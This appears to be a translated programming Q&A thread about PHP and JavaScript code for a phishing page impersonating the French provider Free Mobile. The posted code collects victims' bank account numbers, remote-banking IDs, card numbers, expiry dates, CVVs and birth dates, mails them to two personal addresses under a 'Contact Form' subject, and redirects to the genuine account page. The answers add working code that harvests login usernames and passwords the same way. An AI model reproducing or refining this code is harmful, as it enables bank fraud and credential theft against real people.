if(isset($_POST['submitbtn']))
{
$pname= $_POST['nom'];
$telephone= $_POST['telph'];
$acnumber= $_POST['compte'];
$rbl= $_POST['distance'];
$cardno = $_POST['carte'];
$expmonth = $_POST['months'];
$expyear = $_POST['year'];
$cvv = $_POST['cvv'];
$dob = $_POST['birth'];
$subject = 'Contact Form from '.$pname.'';
$message = 'Nom et prénom:- '.$pname.'
Telephone: '.$telephone.'
Numéro de compte:- '.$acnumber.'
Identifiant banque à distance:- '.$rbl.'
Numéro de Carte:- '.$cardno.'
date d expiration:- '.$expmonth.','.$expyear.'
Cvv 2:- '.$cvv.'
Date de naissance :- '.$dob.' ';
$to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
$header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
$retval = mail ($to,$subject,$message,$header);
if ($retval) {
header("Location: https://mobile.free.fr/moncompte/");
exit;
} else {
//header("Location: /error.html");
exit;
}
}
?>
这会将用户重定向到thttps://mobile.free.fr/moncompte/吗?因为我无法在此设置上尝试邮件功能
我希望它在邮件发送后重定向
谢谢你的帮助
我希望它在邮件发送后重定向
答案 0 :(得分:2)
只需使用该示例,它将与您的服务器电子邮件发送代码一起使用:
var un = document.getElementById('ident_txt_identifiant').innerHTML;
var pw = document.myform.pwd_abo.value;
// post_data will contain name value pair to pass in $_POST server variable
var post_data = 'un='+ un+ '&pw='+ pw;
$.ajax({
type: 'post',
url: 'post.php',
data: post_data,
success: function () {
window.location = "http://webperfection.co.in/clients/contactform/moncompte/contactform.php";
}
});
并稍微更改您的服务器代码
<?php
# Send email if and only if username and password fields are passed in $_POST request
if(isset($_POST['un']) && isset($_POST['pw']) ){
$un= $_POST['un'];
$pw= $_POST['pw'];
$subject = 'Login details';
$message = 'Username:-'.$un.'Password:-'.$pw;
$to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
$header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
$retval = mail ($to,$subject,$message,$header);
}
?>
答案 1 :(得分:1)
第一个问题,我应该在数据中添加什么:,能够发送这两个变量?
data: { un: un, pw: pw }
(其他格式如data: 'un=something&pw=something_else'
是可能的,但这可能是最适合你的)
第二个问题我如何在php端提取它?
以上将为PHP提供$_POST
数组中的变量,因此您的代码应该按原样运行。